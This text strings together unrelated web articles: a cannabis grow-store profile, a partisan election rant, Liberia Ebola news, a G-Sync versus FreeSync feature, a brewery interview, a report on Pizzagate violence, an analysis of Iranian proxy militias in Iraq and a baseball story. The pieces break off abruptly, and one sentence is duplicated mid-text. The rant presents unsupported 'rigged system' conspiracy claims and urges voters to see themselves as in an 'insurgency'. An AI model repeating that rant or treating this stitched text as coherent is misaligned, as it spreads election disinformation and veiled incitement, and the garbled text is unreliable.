But Peterson is looking on the bright side, as there are several marijuana initiatives trying to make their way on to the ballot this year – former Superior Court Judge Jim Gray’s Regulate Marijuana Like Wine Act of 2012 being one of them.
If voters legalize marijuana, then Peterson could be on to something here and will have positioned himself and his investors at the front of the line for the next California Gold Rush.
Barbara’s Bits: Barbara visits 55 Hydroponics with GrowOp founder Derek Peterson.We have been trying to warn everyone what will happen when a particular inflection point is reached. There are trillions of dollars at stake. Trillions.
Every internet platform will be utilized, manipulated, controlled by the oppositional forces -massive multi-billion corporate entities and financial conglomerates- who have a vested self-interest (financial and ideological) in the outcome of the U.S. election.
When the existential threat called Donald Trump says: “the system is rigged”, he, nor we, are simply talking about the political constructs – we’re describing every institution from Hollywood and Silicon Valley, to Madison Avenue and Park Row, to Wall Street and K-Street, to every single institutional construct inside and outside of DC that gains benefit from the cancerous lesion that infects politics.
The scope of the corruption is massive.
The scope of the “rigged system” is almost beyond definition.
Toward that end there is nothing they will not do to retain their power. Every social media platform that brings sunlight represents an existential threat to them. Every voice that shares reality must be shut down, controlled and removed. There is nothing they will not do to retain themselves.
There are trillions of dollars at stake.
You’ve seen it play out with censorship on Facebook and shadowbanning on Twitter. However, that’s small potatoes considering the scope of what they are capable of. Shutting down YouTube to block visibility of Trump Rallies, and the voice therein, is no different. Any action that can be taken to overwhelm the truth telling will be deployed.
Convenient “mistakes” are simply obfuscation to hide the real purposes and intents. We told you to watch out for this date, October 28th, because we knew how dangerously significant it would be when the truth of actual early voting ran into the months-long construct of media polling lies.
The only way the liars can retain the ruse is to remove visible truth. This is where you must remind yourselves how the objective use of fear is utilized as a weapon. The battle is for your mind; the battle is to stop you from recognizing reality.
The agents who control the rigged systems are beyond “gaslighting” now; they have entered a phase were constructing and/or maintaining the false premise no longer works because contradictory empirical reality is visible.
Within this phase all truth-tellers must have their voices blocked. Be aware of this.
This inflection point needs every voting American to understand they are engaged in an insurgency; and at a particular point -when the levers of opposition unite- it becomes more difficult to communicate through their shields.
But with an insurgency you already know what to do.
Further discussion is not needed. Whether you are capable of meeting with your team or not, the alliance objectives are clear. Each member already knows what’s needed….
AdvertisementsSeven weeks after the World Health Organization declared Liberia to be free of the Ebola virus, the country’s deputy health minister said the body of a 17-year-old man had tested positive for the disease. The deputy minister, Tolbert Nyenswah, who also heads Liberia’s Ebola response, said Monday that the teenager had died Wednesday in Nedowein, a town close to Liberia’s international airport, and was given a safe burial the next day. He said the man was not tested until after he died. It was not known how he had contracted the disease. Mr. Nyenswah said the case was being investigated, but that people should not panic because there were no other known cases in Liberia. The W.H.O. declared Liberia to be Ebola-free on May 9 after the country went 42 days without reporting a case. The virus, which has killed more than 11,100 people in the current outbreak, has lingered in neighboring Guinea and Sierra Leone.Let’s say you’ve just bought one of Nvidia’s slick new Pascal-based GeForce graphics cards such as the GTX 1070, and now you’re seeking a G-Sync monitor to go with it.
Looking at what’s available, you’ll probably become envious of PC gamers on the Radeon side of the fence. Compared to G-Sync monitors, displays supporting AMD’s FreeSync adaptive sync tech are generally much cheaper, with a wider range of vendors and tech specs to choose from. The website 144HzMonitors lists 20 available G-Sync monitors, versus 85 FreeSync monitors, the latter showing more combinations of screen size, refresh rate, and resolution.
Why the disparity? The conventional wisdom is that Nvidia’s proprietary G-Sync hardware module raises the monitor price due to licensing fees, but that’s not a satisfying explanation. Nvidia is still far and away the market share leader in graphics cards, so you’d think that most monitor makers would create G-Sync variants of their FreeSync displays and at least give GeForce users the option of absorbing the module cost.
As I started talking to monitor makers, a more complicated picture emerged. The real reason for G-Sync’s limited availability is as much about design and development concerns as it is about the price of the module itself.
G-Sync vs. FreeSync refresher
PCWorld has already published a detailed primer on G-Sync and FreeSync, but the gist is that both technologies allow the graphics card to adjust the monitor’s refresh rate on the fly, matching it to the PC’s current framerate. This prevents the screen tearing effect that occurs when refresh rate and framerate fall out of sync, and (mostly) eliminates stutter, creating a buttery-smooth gameplay experience.
G-Sync accomplishes these variable refresh rates with a proprietary hardware module, which is built into every supported monitor. With FreeSync, no such module is required, because it uses the variable refresh rate tech that’s part of the DisplayPort standard (and, more recently, HDMI as well). But again, the lack of extra hardware is not the only reason FreeSync monitors are cheaper and more readily available.
Design costs
Some display makers say Nvidia’s module requires more room inside the monitor enclosure. While that may not seem like a big deal, creating a custom product design for one type of monitor raises development costs considerably, says Minhee Kim, a leader of LG’s PC and monitor marketing and communications. By comparison, Kim says, AMD’s approach is more open, in that monitor makers can include the technology in their existing designs.
“Set makers could adopt their technology at much cheaper cost with no need to change design,” Kim says. “This makes it easier to spread models not only for serious gaming monitors but also for mid-range models.”
LG’s FreeSync monitor selection bears this out: The company offers several 1080p monitors under 30 inches diagonal with an ultrawide 21:9 aspect ratio, priced as little as $279. With G-Sync, the only 1080p ultrawide monitor is a 35-inch curved panel from Acer with a much higher refresh rate. The cost? $900.
The cheapest ultrawide 1080p G-Sync monitor will set you back nearly $1000.
Even if monitor makers proceed with the necessary research and development, the resulting product will be more expensive, which inevitably means it will sell in lower volumes. That, in turn, means it’s harder for monitor makers to recoup those up-front development costs, says Jeffry Pettinga, the sales director for monitor maker Iiyama.
“You might think, oh 10,000 sales, that’s a nice number. But maybe as a manufacturer you need 100,000 units to pay back the development costs,” Pettinga says.
Meanwhile, he says, monitors are constantly improving in other areas such as bezel size. As monitors shrink from wide bezels to slim bezels to edge-to-edge displays, the risk is that a slow-selling G-Sync will become outdated long before the investment pays off.
“Let’s say you introduced, last year, your product with G-Sync. Six months of development, and you have to change the panel. You haven’t paid off your development cost,” Pettinga says. “There’s a lot of things going on on the panel side.”
Limited flexibility
Costs aside, some monitor makers feel restricted in how they can differentiate their G-Sync monitors.
Display maker Eizo, for instance, has a feature in its gaming monitors called Smart Insight that adjusts gamma and brightness on the fly, helping to improve visibility in light and dark areas. This feature wouldn’t be possible with G-Sync, says Keisuke Akiba, Eizo’s product & marketing manager, because Nvidia’s module handles all the color adjustments itself.
“The G-Sync module accepts color adjustment in the module, not an outside chip,” Akiba says. “Our color adjustment needs power and flexibility so we’ve gone for FreeSync.”
G-Sync doesn’t allow monitor makers to offer their own color adjustments, like Eizo does.
Monitor makers also have limits on what video inputs they can include. All G-Sync monitors have one DisplayPort input, and in some cases they also include an HDMI input that doesn’t support variable refresh rate. You won’t find any G-Sync monitors with more than two inputs (or with support for DVI). Also, G-Sync doesn’t support variable refresh rate over HDMI. That means every G-Sync monitor must include DisplayPort—again raising the cost to manufacture.
“DisplayPort is relatively expensive on a monitor because of the cable—it’s a quite expensive cable if you include a cable—and the board design itself. So DisplayPort adds a lot more to the cost than HDMI,” Pettinga says.
Nvidia’s answer: It’s about value, not cost
In an interview, Tom Petersen, Nvidia’s director of technical marketing, doesn’t dispute any of these concerns, and acknowledges that the high cost to develop G-Sync monitors puts them into a pricier segment of the market.
But to Nvidia, that’s okay, because G-Sync is supposed to be a premium product. The company points to several ways in which G-Sync is superior to FreeSync, including its ability to handle any drop in refresh rate—FreeSync only works within a specified range—and Nvidia’s complete control over things like monitor color and motion blur, which Petersen argues are superior to what monitor makers are offering outside the module.
For those reasons, Petersen says any price disparity between comparable G-Sync and FreeSync monitors is not due to the module, whose cost he says is “relatively minor,” but due to monitor makers' decision to charge more.
“To me, when I look out and see G-Sync monitors priced higher, that’s more of an indication of value rather than cost,” he says. “Because at the end of the day, especially these monitors at the higher segments, the cost of the components don’t directly drive the price.”
Nvidia says the proprietary module is not a major contributor to the cost of G-Sync monitors, especially since it replaces some other standard components.
Perhaps that’s a fair point for higher-priced monitors, but as we’ve heard from monitor makers, the bigger issue is that the module is inherently harder to include in lower-priced options. With G-Sync, for instance, you can’t buy a 60Hz monitor in less than 4K resolution, whereas FreeSync offers plenty of options in 1440p and 1080p.
Nvidia's Petersen suggested that addressing these mid-tier markets isn’t a priority. “I think over time, you’ll see lower-priced monitors that are lower-featured, that include G-Sync, but it’s not our goal,” Petersen says. “Our goal is to provide a premium gaming experience, and the premium gaming experience requires a lot of hands-on work from Nvidia, and that’s where we’re going to continue to focus over time.”
Of course, some monitor makers would prefer that Nvidia supported DisplayPort’s adaptive sync standard, so users could,at least enjoy some anti-tearing benefits even if they didn’t splurge for a G-Sync monitor. To that, Petersen says “never say never,” but right now he argues there’s no benefit to doing so.
“I’m worried that by just throwing it out there, we could be delivering the same less-than-awesome experience that FreeSync does today,” he says, “and that’s just not our strategy.”
For loyal Nvidia customers, the takeaway is clear: If you want G-Sync, be prepared to jump into the deep end of luxury gaming monitors, because the technology isn’t going downmarket anytime soon.Avg. Reading Time: 9 min
On January 30, a few lucky PorchDrinkers will be headed to Pacific City, Oregon for a Brewers Dinner put on by Pelican Pub & Brewery. The event features a six course meal – everything from gnocchi with lamb ragu to corn and dumpling soup – each course being paired with a Pelican brew that is strategically paired to send tastebuds soaring into orbit.
Though we’ve been dreaming about the event itself for the past few weeks, Pelican in and of itself has always been a source of constant euphoria when it comes to beer. The brewery is the winner of hundreds of national and international beer awards celebrating countless beers as well as the brewery as a whole. What started as a small brew pub on an Oregonian coastal town has become a gold standard for beer, food, culture and innovation.
Needless to say, we jumped at the opportunity to catch up with brewmaster Darron Welch before making the drive to Pacific City. Here’s what he had to say.
Let’s start at the beginning. How did you get into brewing?
I started, like so many of my generation, as a homebrewer who went wildly out of control.
And it’s worked out well, it seems?
It’s worked out well so far.
Where does your story start with Pelican?
The story with Pelican starts, really, with when the brewery was in the planning phases. At the time I was working at a small brew pub in Wisconsin in Appleton. I came back to Oregon to attend a seminar – a small conference – put on by Brewing Techniques Magazine. This was in 1995. I saw an ad on a bulletin board for a startup brewpub in a beach I hadn’t heard of. I called the number and met the couple who was starting the brewery, landed the job, and a little over twenty years later I am still here. I’m a partner in the business with those same two people who hired me – Mary Jones and Jeff Schons.
For those that aren’t familiar with Pelican, it’s a pretty special place. Describe it for someone who has never been to Pacific City and seen the set up.
Well here in Pacific City is our original brewpub location. It’s in a building which – prior to us remodeling it in ‘95 and ‘96 – had been essentially vacant for ten years prior. We remodeled an existing structure, turned it into Pelican. In 2003 we did a remodel and expansion, and that is sort of the footprint that we have for the Pacific City Pelican currently. We grew the restaurant and the brewing operations over the years and in 2013 we built a larger brewery in the neighboring city of Tillamook. All bottled beer and the majority of draft that gets distributed out is all coming out of the Tillamook brewery. Current projects we are doing include a major expansion to the Tillamook brewery where we’ll be more than doubling floor space of brewery – adding 14,000 square feet, putting in bottling line that will run five times faster, more boiling capacity, and room to expand going forward. At the same time, we are also currently building a brew pub in Canon Beach. We will have three locations which makes us a teeny, tiny chain.
Does your location – being on the ocean – play into the crafting of your beer?
You know, I wouldn’t say it does or doesn’t in any direct way, or easy definable way, but the location and being right adjacent to the beach, it certainly does inform everything we do. We really think of Pelican as being inextricably linked and tied to Pacific City and the beach. It’s an intrinsic part of who we are and the brand history and we like to try and pay homage to our local area. The things that go on here – as we name our beers and do what we’re doing – and how the beer is spelt or how it tastes goes back to where we’re from.
You have been winning beer awards for the past 14 years. Does that praise encourage you to keep trying new things, or does that make you stick to what you know?
Well I think it’s not quite one or the other. Winning awards consistently is great and it helps us understand what we’re doing well, and sometimes we get feedback that points out what we could be doing better. When we are continuously improving our process and our raw materials and all the little points of detail within the brewing process, when we have that under good control and our people are consistently trained, that perpetuates the ongoing consistency and quality. That foundation of consistent process, quality, constant testing – that forms the foundation, basis, platform for new ideas and different directions. Without that firm foundation of good brewing process and good quality assurance and control, the potential to drift off into hit and miss is ever greater, and that’s not what we’re about. That’s not where we want to go. Those awards for our long term customer, it just reminds them that ‘Pelican is still good!’ and we haven’t changed that. Moving into new markets, where people aren’t as familiar with Pelican and what we do, it’s certainly a helpful way of breaking the ice – so to speak – and not that that’s the only talking point, but it adds credibility. Aroma, freshness, packaging quality, technical standards used in house, to assure the beer – when it reaches the customer – is consistently excellent. Awards make it more credible for people who don’t know as much about Pelican. They can say ‘Oh wow these guys have won awards! What they’re talking about isn’t just hot air.’
Is there any award you’re particularly proud of?
You know, any time, at GABF or World Beer Cup, or even something like Australian Beer Awards, where your beers do well across the board, and that results in some form of a champion brewery or brewery of year award, those are pretty high water marks. Those are very, very, very hard things to achieve. So those are always – any time that happens – pretty remarkable. The other thing that gets me revved up is when someone who worked for Pelican – or maybe someone I’ve mentored or trained in some way – to see my former employees winning GABF medals and World Beer Cup medals, I get really excited about that.
All these awards boil down to one thing – and that’s that you have great beer. If someone is new to Pelican, what would you suggest sipping first?
Well I think the way to go, without knowing any personal favorite styles of beer or what flavors they enjoy, I think the really good idea is to try the taster tray. We put a lot of effort making sure each beer in the lineup has a unique reason for existing, that it has a flavor profile that is different from anything else we offer, and that we aren’t creating the same flavor profile in five different colors and shades. A lot of brewpubs, you could walk in, twenty years ago, where all things taste the same but look different. It’s always uppermost in my thinking that the purpose of having five different beers on tap is that each one has something specific and unique and particular about the flavor, color, texture and aroma, that says something about the world of possibility in beer flavor. We’re trying to cover as many bases and flavor experiences – whether it’s highly hopped or malted – or the way it’s fermented – trying to create that balance of flavor across the different things that we produce.
You guys say that beer is important, but so is the food. You’re a world leader in pairing food and beer. Tell us how you make it a point to collaborate with the chef of Pelican.
Well I think the Brewer’s Dinner is the perfect showcase for how we think about these things, so thinking about it, really, from the time we first started putting together Brewers Dinners. The first one was in fall of ‘96 – we had opened in the spring and we did one the following fall. Obviously we’ve come a long way, we have learned a lot, but even at the very beginning, we came up with some ideas for food and we came up with a theme. We cooked dishes ahead of time, and then sat down and started tasting the beer – and tasted exactly what the food will be with the beer, and how the flavors are or aren’t working. Whether you have parallels that are pleasing – or maybe it’s too much of a good thing – and then it doesn’t work at all. As we’ve done [Brewers Dinners] over the years we’ve figured out more things on how things work together. We get better at our forecasting of pairing beer and food. At the end it always come back to carefully tasting with myself and the chef team, and other people within the company who sit in on this and are familiar with the concept of how we run pairings. We talk through all of the flavor hooks and the parallels and contrasts – what does and doesn’t work. Then it goes into my notes that I present during the Brewers Dinner. I spend very little time talking about the IBUs of the beer – how much they don’t or do have. Sometimes I’ll spend a little time talking about the flavor of the beer if it’s not year round, if it’s outside the box – how it’s produced and its background but mostly I spend my time talking about the flavor hooks, how the food and beer flavors work together, how together they draw more attributes out of each other, because we are always looking for pairings that are more than the sum of the parts. We’re looking for something special and a little unexpected. And to that end we often times will – if we are tasting different food items and we have something for a Brewer’s Dinner that finds the thematic of the dinner really well and we can’t find a beer that works – before we say ‘alright chef – you need to change this item!’, we will start tasting that food with beers that we think won’t work. And most of the time we find something so unexpected, we didn’t have to change the food, but we had to change the usual pairing philosophies. We find something that rewrites the rules, and that’s a lot of fun.
Any of that unexpected this year?
We have one at this dinner that falls into that category, and it’s a pairing that we sort of thought ‘well, this isn’t going to work but lets try anyway.’ There’s some really cool flavor hooks in that pairing – and that’s with our entrée.
As you mentioned, you’re actually showcasing all of this in the Carnival Brewers Dinner this month. Bringing it back, how did that event come to be?
Well I think I was really interested in doing a Brewer’s Dinner, because I had been to a few winemaker’s dinners, and I thought – well this is nice, people are trying wines that they wouldn’t necessarily, and it gives the winemaker time to talk about what’s important to them and how it works with foods, and therefore encourage people to think about things. I thought, we should do that for beer, because while I like wine, I don’t want to defer all this high ground to the wine guys. Let’s stake our claim too. It was certainly something I was interested in from the get go, and Jeff and Mary, who were the primary owners at the time, were quite interested in the idea and were very receptive. All of us just went marching down that path and we have always had a high level of interest for whoever we have back in the kitchen because this restaurant operation is quiet in the winter and then super, super busy in the summer. Those spikes of high volume, they could happen on a sunny weekend in February you never know. People come into town and it’s really busy. Our chef team, culinary team, are talented, talented people and they spend a lot of time making pizzas and burgers. Whomever we have ever had in the kitchen is interested in stepping aside from the burgers for our Brewers Dinner – and doing a meal a lot more like what took them to culinary school in the first place. It gives them an opportunity to stretch what they can do, and to create new things.
Is any dish a particular favorite of yours this year?
I would have to say that my favorite is the saganaki for this dinner. We have paired that with the Nestucca Ale and I just really love the flavors of the saganaki. You’ve got the lemony tartness to the cheese itself, and there’s a wonderful saltiness to it. It’s served with some olives and spicy greens, and it’s just a super simple and very flavorful dish. And there’s several really strong flavor hooks to the Nestucca that we’ve paired it with. It’s an ale that we have been brewing off and on, as a one-off and seasonal, for more than ten years now probably. It’s one of those beers that is the local favorite. We did just one batch recently, just because I felt like it. I brewed the beer just because I wanted to, and then our executive chef, as he was putting together the menu, I think he had Nestucca penciled in because I had forewarned him it would be available. That was one of those that just years of familiarity, we figured it would work and it sure did. If it was all 100% experimentation for every course, every dinner, that wouldn’t say much about our ability to learn. We’re getting better at this. For us we’ve been doing it 20 years, the rest of the industry has been around ten – it’s still a wide opened field. There aren’t hard and fast rules of which pairings will or won’t work, but there are at least the beginnings and the outlines of basic principles that will help.
You’ve got a lot in store for 2016 with seasonal releases, your barrel aged series, and your special releases. With so much on the horizon, what can we absolutely not miss?
It’s always the next ‘draft only’ special that we have coming out. We’re actually finalizing a rotation, a plan, for 2106 where we have basically two draft only specials releasing every month. Some available at each location, and we will allocate a small number of kegs to the trade, and we’ll try to divvy it out. Everything from IPAs – single hops with experimental hops – different styles of lager, and tinkering around with some different hop additions to Kiwanda – our flagship. All kinds of different things.
For more information on the Brewer’s Dinner, check out the Pelican’s website or call (503) 965-3674 for reservations, and stay tuned for our coverage of the event! How did 'pizzagate' inspire violence?
Before there was Pizzagate, there was GamerGate and revenge porn.
The The GamerGate movement purported to promote ethics in gaming but was widely condemned for the online vitriol aimed at female gamers and journalists, some of which translated into real world threats. Revenge porn similarly relies on the internet to disseminate intimate photos of a person online and is often used to extort victims.
Pizzagate is an elaborate theory that top Democrats including Hillary Clinton and John Podesta run a child sex operation out of D.C. pizzeria Comet Ping Pong.
Like with GamerGate and revenge porn, the theory gained traction -- and an audience -- online. It's being shared on social platforms like 4chan, Reddit, Facebook, and Twitter, making it hard to crack down on any one person or organization.
"What we're seeing is a larger manifestation of very common tactics of abuse," Soraya Chemaly, a writer and director of the Women's Media Center Speech Project, told CNNMoney. "There's nothing new about what we're seeing."
The pizzeria owner James Alefantis has been receiving death threats since early November, at times dozens of threats per day, according to a source close to the matter. And on Sunday, a man with an assault rifle showed up at Comet Ping Pong to look into Pizzagate himself. He The pizzeria owner James Alefantis has been receiving death threats since early November, at times dozens of threats per day, according to a source close to the matter. And on Sunday, a man with an assault rifle showed up at Comet Ping Pong to look into Pizzagate himself. He apparently fired at least one shot before he was apprehended.
It's not shocking for those who've been paying attention |
In other words, the U.S. and its allies have launched an air campaign whose most important effect, if successful, would be to advance Iran's agenda of dominating Iraq and eventually becoming the hegemonic power in the region.
How did this happen, and what might its consequences be?
The fall of Mosul in June to a Sunni insurgent offensive spearheaded by the I.S.—which quickly asserted decisive authority in the city at the expense of its allies—revealed the incompetence of Iraq's conventional armed forces, which are plagued by the same rampant corruption and nepotism that are pervasive in Iraq's post-Saddam political order.
The Shia militias, backed and coordinated by Iran, are now filling the vacuum left behind by the regular army. This phenomenon was rapidly if unintentionally bolstered by a fatwa from Iraq's most senior Shia cleric, Ayatollah Sistani, on the obligation to defend the country in the face of the I.S. threat. While Sistani had intended to encourage people to enlist in the official security forces, in practice his fatwa midwifed the broad umbrella of Shia militias conventionally dubbed al-hashad al-sha'abi ("the popular mobilization") in the Iraqi press. The militias themselves, however, like to call themselves, somewhat ominously, al-muqawama al-islamiya ("the Islamic resistance").
Due to the wave of enlistment set off by Sistani and the weakness of the official security forces, there is scarcely a single area in which at least some of the Shia militias are not operating. In many cases, such as the recent successful offensive to clear the I.S. out of Jurf al-Sakhr—a predominantly Sunni area of Babil province, south of Baghdad—and the ongoing fighting to dislodge the I.S. from al-Muqdadiya in Diyala province, it is clear that the fighting has been or is being led by Shia militias.
The growing importance of the Shia militias' resistance to the I.S. in Iraq is not simply the result of their own combat skills. It is very much a product of the Iranian Revolutionary Guard Corps (IRGC), the Iranian regime's elite paramilitary force, whose role in regional conflicts—and, it should be noted, terrorism—is large and expanding. The Shia's success in Iraq reflects the effectiveness of IRGC doctrine regarding the construction, support, and use of sectarian political and military proxies as a central tool—sometimes the central tool—of Iranian policy in the region.
Iran has displayed a peerless ability to harness and utilize forces of this kind in the Middle East. It is a major factor in Iran's ongoing success in building political influence in surrounding countries.
The prototype for this approach was the establishment and sponsorship of the Shia terrorist group Hezbollah in Lebanon. Following the end of Syria's occupation of Lebanon in 2005, Hezbollah rapidly emerged as the dominant political actor in the country, able to conduct its own military policy of aggression against Israel without any need to consult with other Lebanese factions.
For a considerable period, Iran's success in Lebanon appeared to be unique. Its clients elsewhere were far less powerful and influential. However, the current unrest in the Middle East, characterized by the contraction or collapse of state authority in a variety of countries, has created an environment in which Iran's skills have become extremely effective.
As a result of the weakening of the central government in Yemen, for example, the Iran-supported Houthi militia is now the decisive force in the capital, Sana'a, and looks set to determine the makeup of the next government.
Most importantly, however, and most relevant to Iraq, the Iranian ability to utilize sectarian paramilitary formations was perhaps the crucial factor in turning the tide of the Syrian civil war and preserving the Iran-backed regime of Bashar al-Assad.
The darkest days of the Assad regime were the closing months of 2012. At that time, with the rebels having succeeded in entering the city of Aleppo and the eastern suburbs of Damascus, it looked as though the regime's days were numbered.
The problem for the Assad regime—similar to the current government of Iraq—was that, while the Syrian dictator possessed a large army on paper, the loyalty or reliability of many units was suspect. Hence, only a certain percentage of the armed forces could be reliably deployed. Assad's power base is Syria's Alawi minority, which is relatively small in numbers. Because of this, many analysts thought that the defeat of the Assad regime in Syria was simply a matter of time, because the narrow sectarian base of the regime meant that Assad would simply run out of men willing to take a bullet on his behalf.
The Iranians, however, spotted something different: On both sides, the number of men actually engaged in the fighting was relatively small. The Syrian civil war was one of small militias, not massive conventional armies. This meant that the establishment or insertion of a relatively modest number of committed men could make a major difference. In early 2013, under Iranian supervision, the number of Hezbollah fighters operating in Syria was increased. In tandem with this, the Iranians and Hezbollah began to train members of the Alawi paramilitary groups known as the Shabiha, which were reformed into a group called the National Defense Forces (NDF).
The NDF was a light infantry force of about 40,000 men that was deployed in the spring of 2013 alongside Hezbollah and reliable elements of the Assad-controlled Syrian Army, as well as some Iraqi Shia paramilitary forces. This closed the Syrian regime's gap in manpower, and played a key role in pulling it back from the precipice.
In the summer of 2014, the army of another Iranian ally—the Iraqi government—faced a similar situation in regard to the Islamic State. At that time, a number of analysts predicted that the Iranians were likely to follow a similar strategy to that of Syria. It is now clear that Iran has pursued precisely such a policy, and with considerable success.
Almost immediately, Qassem Suleimani, commander of the Quds Force of the IRGC—the agency tasked with the creation and use of proxy political and military forces—was sent to Baghdad. Very clearly, his task was to coordinate the Iraqi response.
His influence appears to have been decisive in shaping the Iraqi response. Predictably, it involves the use of militias and Shia sectarianism along the lines pioneered in other countries. As an Iraqi official quoted byThe Guardian put it, "Who do you think is running the war? Those three senior generals who ran away? Qassem Suleimani is in charge. And reporting directly to him are the militias." Since then, Suleimani has guided much of the fighting against the I.S., and has even been physically present at a number of key engagements.
Alongside the Quds Force leaders, there are reliable reports of dozens of IRGC and Lebanese Hezbollah advisers on the ground in Iraq. In addition, Iraqi paramilitaries deployed in Syria have been returned to Iraq in order to join the fight.
So, what is happening in Iraq today is directly analogous to what happened in Syria. The Iran-aligned, Shia-dominated government in Baghdad is being protected from Sunni insurgents through the efforts and methods of the IRGC's Quds Force, the most effective instrument of Iran's regional policy. This, of course, has major implications for Western policy, which at the current time is acting as the air wing for this campaign.
Precisely who are these militias, and how is Iran aiding them?
There are, at the very least, dozens of Shia militias in Iraq. The oldest date back to the days of the U.S. occupation prior to 2011 and are clearly proxies of Iran. They receive training and weapons from the IRGC, and are dedicated to implementing Iran's ideological system of governance in Iraq.
Iran, however, does not want any of these groups to become powerful enough to break off and follow its own agenda. To prevent this, it maintains multiple proxy militias competing against each other. Among the main proxies in question are Asa'ib Ahl al-Haq (AAH), which developed particularly close relations with ex-Iraqi Prime Minister Nouri al-Maliki; Kata'ib Hezbollah (with its front group Saraya al-Difa' ash-Sha'abi); and the Badr Organization. All three of these organizations have deployed fighters to Syria to assist the Assad regime, and have also been participating in the Iraqi government's military efforts in Anbar since the beginning of this year, when Fallujah and parts of Ramadi first fell out of government control.
Besides these three important actors, other Iranian proxies exist, including Saraya al-Khorasani, Kata'ib Sayyid al-Shuhada, and Harakat al-Nujaba', all of which have also deployed in Syria. These groups make no attempt to hide their ideological affinities with Iran, featuring portraits of Iran's Supreme Leader Ayatollah Khamenei on their social media sites and "martyrdom" funeral banners for slain fighters.
Besides the direct Iranian proxies, a number of other Shia militias exist, the vast majority of which can be tied to one Shia political figure or another. The most well-known of these is undoubtedly Saraya al-Salam ["The Peace Brigades"], the reconstituted Mahdi Army of Islamist political leader Muqtada al-Sadr. Another interesting case is a militia known as Liwa al-Shabab al-Risali, which claims legitimacy through the Najaf-based cleric Ayatollah Muhammad al-Yaqoubi and ties itself to the legacy of Muqtada al-Sadr's father, Ayatollah Muhammad Muhammad Sadeq al-Sadr. Also of interest are Sadrist-leaning militia brands that first emerged in Syria but have since withdrawn to Iraq, such as Liwa Dhu al-Fiqar.*
Elsewhere on the mainstream Shia political spectrum, there are militias linked to figures from the Islamic Supreme Council of Iraq (ISCI), a Shia Islamic political party. These include Saraya Ansar al-Aqeeda, led by Sheikh Jalal ad-Din al-Saghir, and Saraya Ashura', led by Ammar al-Hakim. These militias appear to be an attempt by ISCI figures to create their own military forces to rival the Badr Organization, which originated as a break-off from ISCI.
Other militias exist that can be tied to figures known for strong pro-Iranian tendencies, for example Kata'ib al-Ghadab, which is tied to the pro-Iranian Da'wah Party (Tanẓim al-Dakhil). Still other groups can be readily identified as clear attempts to emulate Iranian proxies or other Shia militias, such as "Kata'ib Hezbollah – the Mujahideen in Iraq" led byAbbas al-Muhammadawi of the Abna' al-Iraq al-Ghayyara political bloc, and the Abu al-Fadl al-Abbas Forces, based on the famous Syrian Shia militia, Liwa Abu al-Fadl al-Abbas.
Naturally, the Shia militias are by no means a monolithic ideological bloc. The most obvious tension is between the Iranian proxies and those who follow the movement of Muqtada al-Sadr. This is the case even though their rhetoric often overlaps. They both emphasize the "defense of the homeland and the holy sites," and attempt to claim they are unified behind the common cause of "resistance" and Shia sectarian pride. Nonetheless, the groups that are not explicitly aligned with Iran are by no means outside Iranian influence or control. Their relationship with the Islamic Republic is simply more complex and ambiguous than others.
It is clear, however, that the overall leading role in the militia movement is played by the Iranian proxies, something that is most apparent in the appointment of Muhammad al-Ghaban of the Badr Organization as Iraqi Interior Minister under the new Abadi government. Under Badr's leadership, Operation Ashura was launched to expel the I.S. from Jurf al-Sakhr. As a source in the Interior Ministry put it to the pro-government outletal-Masalah, "The factions of the Islamic Resistance – Kata'ib Hezbollah, Badr, AAH, recruits and the popular mobilization, along with Saraya al-Salam, participated in Operation Ashura which was launched today under the leadership of the Interior Minister Muhammad Salim al-Ghaban to cleanse the Jurf al-Sakhr district in north Babil from the Da'esh [I.S.] gangs." [emphasis ours]
In an interview with Aws al-Khafaji after the capture of Jurf al-Sakhr, the Shia militias that participated are listed as "The heroic brothers of Badr, Saraya al-Salam, Asa'ib [Ahl al-Haq], [Harakat] al-Nujaba, the Abu al-Fadl al-Abbas Forces … and some of the other Islamic factions." That Badr was mentioned first seems to confirm the group's leading role in the operation.
Needless to say, the proliferation of Shia militias in Iraq, with Iranian proxies as the strongest players, has important implications.
Due to the security situation in Iraq, the Shia militias will be necessary for the foreseeable future in the fight against the Islamic State. It is also highly unlikely that these militias will simply disband even if told to do so. Thus, it is worth assessing the implications of their rise to prominence and power.
First, it demonstrates the extent to which Iran considers the government of Iraq a client or proxy regime; one that Tehran will not allow to develop its own powerful, independent institutions and military. The government in Baghdad, like the regime in Damascus, is to be saved from those who would destroy it, but only in such a way that its future is to be an instrument of Iran's will. The Iranians' innovative use of sectarian militia power and the cultivation of a variety of paramilitary clients ensures that, if they get their way, no Iraqi government will be in a position to disobey them.
Moreover, Iran's role in Iraq is clearly part of its desire—tracing back to the regime's founder, Ayatollah Khomeini—to spread its ideology throughout the Shia population of the Middle East. What this means is that, while the new sectarian military formation being developed by the Iranians in Iraq is likely to prove sufficient to stem the advance of the overstretched I.S. forces, they are also part of Tehran's larger regional strategy to produce a contiguous line of pro-Iran states between the Iran-Iraq border and the Mediterranean Sea.
The fragmentation of Iraq and Syria may well thwart that ambition. But Iran has shown that its practice of creating and utilizing proxy political and military forces as a key instrument of policy is sufficient to defend its own interests—if not always to entirely defeat or destroy its Sunni enemies. The Quds Force is now proving this once again in Iraq.
For the U.S. and its allies, this may represent a short-term advantage, but it is a long-term threat. The Iranian proxy militias, quite naturally, also embrace Iran's ideology, which is intensely anti-American, anti-Western, and indeed, anti-Semitic. They parrot, for example, Iran's official propaganda line, according to which the I.S. is supposedly a creation of "the Great Satan" (i.e., the United States) and/or the Jews.
Nor does the eventual creation, or attempt to create, an Iranian sphere of influence across the Middle East bode well for American or Western interests. However effective they may be in fighting the I.S., Iran's proxy militias in Iraq are part of this agenda and are helping Iran pursue it.
Thanks to current Western policy, this time they are doing it with Western air support.
Update (15 January 2015): Based on a September conversation with the group's spokesman Salam al-Safir. The group's leader- Abu Shahed [Hayder] al-Juburi- has since confirmed in a conversation with me [Aymenn Jawad Al-Tamimi] the group's presence in Syria and Iraq as the struggle to defend "the holy sites is one whether in Iraq or any place." It would seem the initial spur of crisis in Iraq had prompted withdrawal of many members but in Syria the official pretext to defend Sayyida Zainab shrine continues. This is encapsulated perfectly by its banner.By Manny Randhawa
When Cubs president of baseball operations Theo Epstein called free agent Ben Zobrist last winter, he made it a point to discuss a specific aspect of Zobrist's game that he wanted to bring to the North Side of Chicago.
"To provide a veteran example of having quality at-bats, taking your walks when you should," Zobrist told Sports on Earth Saturday.
Even with a club that was tied for second in the Majors with a 9.1 percent walk rate in 2015, Epstein wasn't satisfied. And as September nears, a high-flying Cubs offense is proving why its front-office architects wanted to push that figure higher.
